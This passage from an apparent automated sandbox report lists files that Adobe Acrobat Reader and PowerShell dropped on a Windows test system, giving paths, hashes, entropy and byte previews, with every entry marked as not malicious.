DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246125156485574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJfshHHrPeUkwRe9:YvXKXattwsdTeO+TS5GUUUkee9
MD5:	E97AFA93F5171304BED885E47603E015
SHA1:	D14CCB6345822ABC1706768201A126EBA5799CF7
SHA-256:	474EC9FA31CD40C68DA96637D60D31CC1F3D6C1000D854D837F72024BB2DF674
SHA-512:	616E74394D9FC6A0E3B7120D56466D97127507FC35FA4B1FCE20033EDE5082F777E74C18D3E2A9C18250E1C9230C48F33EF323215F2E2F42EB76F67E89ED5FBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272626167611094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGttZjX7WsGiIPEeOF0YeTQHKoAvJTqgFCrPeUkwRe9:YvXKXattwsdTeO+TS5GTq16Ukee9
MD5:	782392B3544DA9BA2854431E7363FB61
SHA1:	2C36A1F9260FE788E6E68BF573DFA07FE655E270
SHA-256:	5FCF07D1152E3AC9A4CA28648D6AAE0CE401AFA412E98CF74005F71731E54EF0
SHA-512:	0AF512085DDF71C2182EADB33B7F3CF190452AA43D0F13BD39D9A390998206AB93F49202D1AD4B966A0B4623E7FC061945C91C86251DC371A84443B10D6DEC96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb6d526-2b4e-456a-aa6f-dcdcef3f5a2a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736757581683,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140981563617386
Encrypted:	false
SSDEEP:	48:YMORoLtoEVzF1H9WjovPp8iyPbZlSCck9wm:UKLHVzLHQjovqPNlvDwm
MD5:	B0549D2D351DC29315D87DB3A96BDD91
SHA1:	82A191DB2DE1E552B9BCBD5439DD9A7688088CC4
SHA-256:	323B2A819858D1DFBD62E83EE9F1BC4EF01BE7348A173252AD75DBDEC541DD83
SHA-512:	11B8EC1E6B33F7E714464F829A68DD5B65ABA7C0CA56D0FD11C305C7E63BB07F056F79C89743CEC170DD5D8265DEF8DBA5152C4E2BE581F9DC17FA5BB524DEC4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a7d0682f5c131595dd014047f20332f2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581451000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c64fdf95143d295a9f12a67e9482f5a1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581450000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"af17d8da70ed94cb8bb25ad87b689e9e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581450000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fdba4b9044488d5eaa9eca763f777260","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581450000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"acd59cbcea29994e08b236178e57ea74","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581450000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"faf855b2596d157d3dc0d6910532a119","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4524735741902277
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsRYlz6:lNVmsw3SHtbDbPe0K3+fDZdK06
MD5:	8BCAE0DB0DA8A0C69B3D343F41623F14
SHA1:	DD67D23E181E514EBFB84830D78A39467EE44B4C
SHA-256:	A488CC6F5EF6771353AB67E67D8788CEAFE0313DC4C7208B1AC2BE7D175F7343
SHA-512:	3AF534274CD2C7545990A195B0765B4D082F3DEA648CA3F66F37A8731C9D7859CBF1697FA5945A836D502857B42A9522FF6416E0370ECE3CB1827BC87B875D3E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.95621208746491
Encrypted:	false
SSDEEP:	48:7M9rvrBd6dHtbGIbPe0K3+fDy2dsRNUqFl2GL7ms1:7Q3SHtbDbPe0K3+fDZdKGKVms1
MD5:	DAB41ED3EEA7E84A41DB67D9137A199C
SHA1:	B9592AE72DAFA985E6F4A9FF880265CBB4A3252B
SHA-256:	19527DA21D8CD99B0281CB39F79F50D067201D6FFF2C80546BCC78C67CCB2FA9
SHA-512:	9A4D28B8F26727FE22365DB4CF8099A88F937DF1D907EB314AF6F43D1C717343A0F5BC64A543D07DCDC7194336BDF7527092F4C6FD7C969BDB00245725C348E8
Malicious:	false
Preview:	.... .c.....`?3y......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgh+aBNlSwCW1G5QrnoBfCiV4XjtYyu:6a6TZ44ADEh+aBNO5Qro3V4XhK
MD5:	4F96A8A9B39326DB97CF34A831B03F19
SHA1:	2233B93C6BEF9C1B1A7AE9364CC596047D010613
SHA-256:	08292ED98CC73AB23D4C5DB5F9D1A34220A65FE23ED4412AE59FCB9CD6DE7451
SHA-512:	647DC561C434120B132158F1A9B73A46438CEDFB2AA25C2E66D02D0175FB9CCFB3E86DB5EF1C7346C694AD4083A55FD4626A222B2E9B52B0F1725465E6977B61
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI66bc5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4917080724083283
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGOnH:Qw946cPbiOxDlbYnuRKdYH
MD5:	9D5F4B5E4FD5AEFEAE95BE02CBCAB033
SHA1:	A1C21BE25D1636B64D97072BB0EC10FE0C18F4B8
SHA-256:	2FFA63ACEB6570844A9BB86FCAF0918F052DF085BF5C99644C922481DA31B2F1
SHA-512:	433F45A56CD33F08614BED05B43ACC8CA3762281A9914DD1F3DE80D2B14A0E2A0CBF160C8ABF546EB2191344046C7E188DCBF467A98F6CC2369896D3BDDA9F1A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.4.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5va1el3.xzd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kk3yvvlz.f4m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A961r7yb_ktp8s4_62o.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9967hpv_ktp8s1_62o.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-44-04-129.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349830822757146
Encrypted:	false
SSDEEP:	384:9gpglgFEQRm91iCT921y05kUf4+D2GprtVtVtztkDDRvnBoqwCXVeCICZC1ACAap:BTgTnNEXYbogvRq1WLWRycvI
MD5:	3CD1BD3CE3949AEBA32F90DA7A594D24
SHA1:	D6D3E006CEF8565D4AE09F0D893D70CE7C419E56
SHA-256:	5EE3BF1051344A484B7F01AF99495CBCE154CEC5813DD25DF7A331CA05238E17
SHA-512:	D0DCA72F357CDDEC88F79D49F606EEB4E0CA94AB396B9BE86EBA592BEB3574AFCF1BF01C278447906D5EDAD3338FBAE2E32FA0494F49CEE899E200C87512488F
Malicious:	false
Preview:	SessionID=2c1ca4fa-374e-46cf-93d5-132282a78e8f.1736581444149 Timestamp=2025-01-11T02:44:04:149-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2c1ca4fa-374e-46cf-93d5-132282a78e8f.1736581444149 Timestamp=2025-01-11T02:44:04:149-0500 ThreadID=7620 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2c1ca4fa-374e-46cf-93d5-132282a78e8f.1736581444149 Timestamp=2025-01-11T02:44:04:149-0500 ThreadID=7620 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2c1ca4fa-374e-46cf-93d5-132282a78e8f.1736581444149 Timestamp=2025-01-11T02:44:04:150-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2c1ca4fa-374e-46cf-93d5-132282a78e8f.1736581444149 Timestamp=2025-01-11T02:44:04:150-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408101900608468
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR1aGu5:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRy
MD5:	84954DBDED27D323FF6B0BD9D93C6A7F
SHA1:	00AF36B20094ABAC9E1905B96F19922D8063AF27
SHA-256:	1D00F6BD6BACE959961FBA55EEFA75320DD13C20E17C9470ECC46490F266DA1F
SHA-512:	3FAD5BA103A8D4E51C0271367001C084A3BD4C86EB96E9EB0C057CD68EC3E6CBEA41D7CF30059B6A6C36E3CFC55C14473733F1959ABA1C9EEE4E4003945D6815
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\643933d3-3bc1-493b-b1d7-9c51b3a1d059.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6e20e53a-4674-4d2e-a6a9-108c3bbe7ccc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c0daef33-3d3f-4411-a678-44f19ff616fd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
